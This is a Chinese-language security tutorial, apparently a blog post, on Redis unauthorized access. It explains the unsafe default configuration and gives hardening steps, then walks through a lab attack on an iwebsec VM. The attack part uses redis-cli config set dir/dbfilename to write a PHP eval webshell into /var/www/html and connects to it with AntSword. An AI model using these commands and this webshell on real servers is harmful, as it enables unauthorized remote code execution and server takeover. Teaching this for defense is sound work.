目录
[3. 访问靶机的Redis服务](#3. 访问靶机的Redis服务)
[(1) Server(服务器信息)](#(1) Server(服务器信息))
本文详细分析了Redis未授权访问原理与修复方案,并通过渗透测试演示了攻击过程。其源于Redis默认不安全的配置,包括未设置认证密码、监听所有网络接口等。攻击者可利用redis-cli直接连接目标服务器,通过修改持久化配置将Webshell写入网站目录。修复方案包括设置强密码、绑定内网IP、禁用高危命令等安全加固措施。实战部分展示了从连接Reids服务器到获取服务器权限的全过程,包括写入PHP木马、蚁剑连接等操作,最终验证了Redis未授权安全风险的严重性。文章强调了Redis服务安全配置的重要性,为系统管理员提供了有效的防护建议。
一、Redis未授权
1、未授权原理
Redis未授权访问是一个由危险默认配置和管理疏忽导致的高危安全风险 。其核心原理可以用一句话概括:当Redis服务暴露在不可信网络且未启用身份认证时,任何能访问到该服务的客户端都拥有与Redis服务进程本身同等的操作权限,从而可以直接执行所有Redis命令。
Redis未授权的原理核心是因为使用了缺省的安全配置导致的安全风险。Redis在设计上更侧重于性能和易用性,因此在安全方面采用了"默认不安全"的原则,将安全责任交给了管理员。
| 默认配置项 | 危险状态 | 带来的风险 |
|---|---|---|
绑定地址 (bind) |
bind 0.0.0.0 或 未设置(新版本默认 127.0.0.1) |
服务监听在所有网络接口上,可能暴露给公网或内网所有机器。 |
访问保护 (protected-mode) |
protected-mode no (旧版本无此配置) |
在无密码且绑定非回环地址时,不拒绝外部连接。 |
认证密码 (requirepass) |
默认为空 | 客户端连接时无需提供任何密码即可执行命令。 |
| 服务端口 | 默认使用 6379 | 这是一个众所周知的端口,极易被扫描器发现。 |
Redis未授权访问的原理揭示了安全中"默认拒绝"原则的重要性 。它提醒我们,对于任何面向网络的服务,暴露最小化、访问强制认证、权限最小化是必须遵循的黄金法则。
2、修复方案
| 加固层面 | 具体措施 | 加固效果作用 |
|---|---|---|
| 紧急处置 | 1. 防火墙隔离 : iptables -A INPUT -s 可信IP -p tcp --dport 6379 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP |
立即网络层止血:从物理上切断来自公网及非信任IP的攻击连接,是响应未授权访问最快速有效的方法。 |
| 紧急处置 | 2. 临时设置密码 : redis-cli CONFIG SET requirepass <强密码> |
快速建立认证屏障:即使服务仍暴露,攻击者也无法直接执行命令,为后续永久修复争取时间。 |
| 配置文件加固 | 1. 绑定内网地址 : bind 127.0.0.1 或 私有IP |
根治公网暴露:确保Redis只监听在本地或内网,从根本上杜绝外部扫描和连接。 |
| 配置文件加固 | 2. 强制启用认证 : requirepass <复杂密码> |
建立身份验证基石:所有客户端连接必须提供密码,是防止未授权访问的核心配置。 |
| 配置文件加固 | 3. 重命名或禁用高危命令 : rename-command FLUSHALL "" rename-command CONFIG "Gc7$9xKj" |
防止功能滥用提权 :即使认证被绕过(如密码泄露),攻击者也无法直接利用CONFIG、FLUSHALL等命令进行写文件、清数据等破坏性操作。 |
| 配置文件加固 | 4. 以非root用户运行 : 创建redis用户,服务中配置User=redis |
限制攻击影响范围:遵循最小权限原则,即使Redis被攻破,攻击者获得的权限也仅限于低权用户,难以进行系统级操作。 |
| 配置文件加固 | 5. 启用保护模式 : protected-mode yes |
提供默认安全兜底 :当未配置bind和requirepass时,Redis会自动拒绝外部连接,防止因管理员疏忽导致完全暴露。 |
| 架构与运维加固 | 1. 网络分层设计:将Redis部署于私有子网,仅应用服务器可访问。 | 实现纵深防御:在网络边界处设置屏障,即使Redis存在未知安全风险,攻击者也必须首先突破前端应用服务器,大幅增加攻击成本。 |
| 架构与运维加固 | 2. 启用TLS加密 (Redis 6.0+):配置tls-port及证书。 |
防止通信窃听与篡改:保护认证密码和传输的数据不被中间人攻击窃取,保障通信安全。 |
| 架构与运维加固 | 3. 日志审计与监控 :启用slowlog,监控异常命令(如CONFIG、SAVE)。 |
实现攻击可发现、可追溯:能及时发现异常行为并告警,在攻击造成实际损失前进行干预,并为事后溯源提供证据 |
二、渗透实战
1、攻击机测试redis-cli功能
攻击机需要先安装redis-cli工具,安装完毕后使用redis-cli -h命令测试redis-cli功能是否正常, redis-cli -h 是 Redis 客户端(redis-cli)的核心参数,用于指定要连接的 Redis 服务器的 IP 地址 / 主机名 (h 是 host 的缩写),是远程连接 Redis 最常用的参数。默认情况下参数的含义如下所示。
| 参数维度 | 默认值 | 说明 |
|---|---|---|
目标主机(对应-h) |
127.0.0.1 |
未加-h时,自动连接本机的 Redis 服务器 |
目标端口(对应-p) |
6379 |
未加-p时,自动访问 Redis 默认端口 6379 |
目标数据库(对应-n) |
0 |
未加-n时,自动进入 Redis 第 0 号数据库(Redis 默认分 16 个库,编号 0-15) |
| 认证密码 | 无 | 未加-a时,默认不携带密码,若 Redis 服务需密码则连接后需手动执行AUTH |

2、靶机测试redis-server功能
这里靶机选择iwebsec虚拟机,已经安装好Redis-Server并使用具有安全风险的默认未授权配置。
(1)判断Redis服务器是否开启
iwebsec服务器上判断redis服务器(默认端口6379)是否开启,如下所示执行命令netstat -ano|grep 6379此端口打开后即证明服务已开启。

(2)获取靶机ip地址
iwebsec靶机已安装Redis,在iwebsec上执行ifconfig获取到NAT网段的ip地址192.168.59.134,具体如下所示。

3. 访问靶机的Redis服务
kali机器上(模拟redis客户端)访问iwebsec服务器,执行命令sudo redis-cli --h 192.168.59.134,在出现的交互界面中输入info,具体效果如下所示。

完整的内容如下所示,INFO命令输出提供了详细的系统状态信息。
┌──(root㉿kali)-[/home/kali]
└─# redis-cli -h 192.168.59.134
192.168.59.134:6379> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2d74fe5fff7657d
redis_mode:standalone
os:Linux 4.4.0-21-generic x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.4.7
process_id:173
run_id:8f28a66458b560ca088d62c747c201f43198ac65
tcp_port:6379
uptime_in_seconds:-28514
uptime_in_days:0
hz:10
lru_clock:4891705
executable:/usr/bin/redis-server
config_file:/etc/redis.conf
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:814080
used_memory_human:795.00K
used_memory_rss:9158656
used_memory_rss_human:8.73M
used_memory_peak:814080
used_memory_peak_human:795.00K
total_system_memory:4125638656
total_system_memory_human:3.84G
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:11.25
mem_allocator:jemalloc-3.6.0
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1766527899
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
# Stats
total_connections_received:1
total_commands_processed:3
instantaneous_ops_per_sec:0
total_net_input_bytes:84
total_net_output_bytes:10427
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:0.12
used_cpu_user:0.04
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=1,expires=0,avg_ttl=0
192.168.59.134:6379>
这是一个存在严重安全风险的Redis实例,未设置密码认证,允许任意连接访问,可能被用来进行未授权访问,接下来我们分析info相关信息。
(1) Server(服务器信息)
-
redis_version:3.2.12- 较旧的Redis版本 -
os:Linux 4.4.0-21-generic- Ubuntu 16.04系统 -
uptime_in_seconds:-28514- 异常值,时间戳溢出或系统时间错误 -
config_file:/etc/redis.conf- 配置文件路径
(2)Clients(客户端连接)
-
connected_clients:1- 当前只有你一个连接 -
无连接限制,可能存在连接耗尽攻击风险
(3)Memory(内存使用)
-
used_memory:795.00K- 当前使用内存 -
maxmemory:0- 未设置内存限制,可能导致内存耗尽 -
mem_fragmentation_ratio:11.25- 内存碎片率过高(>1.5表示碎片严重)
(4)Persistence(持久化)
-
aof_enabled:0- AOF持久化未开启 -
rdb_last_save_time:1766527899- 上次保存时间(异常,未来时间戳) -
数据持久化配置薄弱
(5)Replication(复制)
-
role:master- 主节点 -
connected_slaves:0- 无从节点 -
无复制配置,单点故障风险
(6)Keyspace(键空间)
-
db0:keys=1- 当前有1个键 -
数据量很小,可能是新安装或已清空
4、写webshell
接下来利用Redis未授权访问写入webshell,具体配置如下所示。
sudo redis-cli -h 192.168.59.134
config set dir /var/www/html
config set dbfilename mooyuan.php
set webshell "<?php @eval($_POST['ljn']); ?>"
save
首先通过config set命令篡改Redis配置:将持久化目录改为Web根目录/var/www/html,并将数据库文件名设置为mooyuan.php,使Redis的RDB文件变成可执行的PHP文件。接着创建名为webshell的键,其值为PHP一句话木马<?php @eval($_POST['ljn']); ?>,该木马允许攻击者通过POST参数ljn远程执行任意PHP代码。最后执行save命令强制Redis将内存数据持久化到磁盘,从而在Web目录下生成恶意PHP文件。
sudo redis-cli -h 192.168.59.134------开启redis服务器
config set dir /var/www/html------进入根目录
config set dbfilename mooyuan.php------创建文件命名为mooyuan.php
set webshell "<?php @eval($_POST['ljn']); ?>"------写入一句话木马
save------保存

5、蚁剑连接木马
木马地址 :http://192.168.59.134/mooyuan.php
密码原理 :ljn是木马中预定义的后门密码,对应POST参数名
木马地址为http://192.168.59.134/mooyuan.php
密码ljn

点击add后如下所示,提示add shell success。

双击进入文件系统后,如下所示可以看到写入的木马mooyuan.php。

6、浏览器连接木马

7、Docker查看木马文件
docker ps------获取容器id
docker exec -it bc23a49cb37c bash------进入docker
cd /var/www/html------进入根目录
ls------查看文件
发现已经上传mooyuan.php文件,脚本已经上传
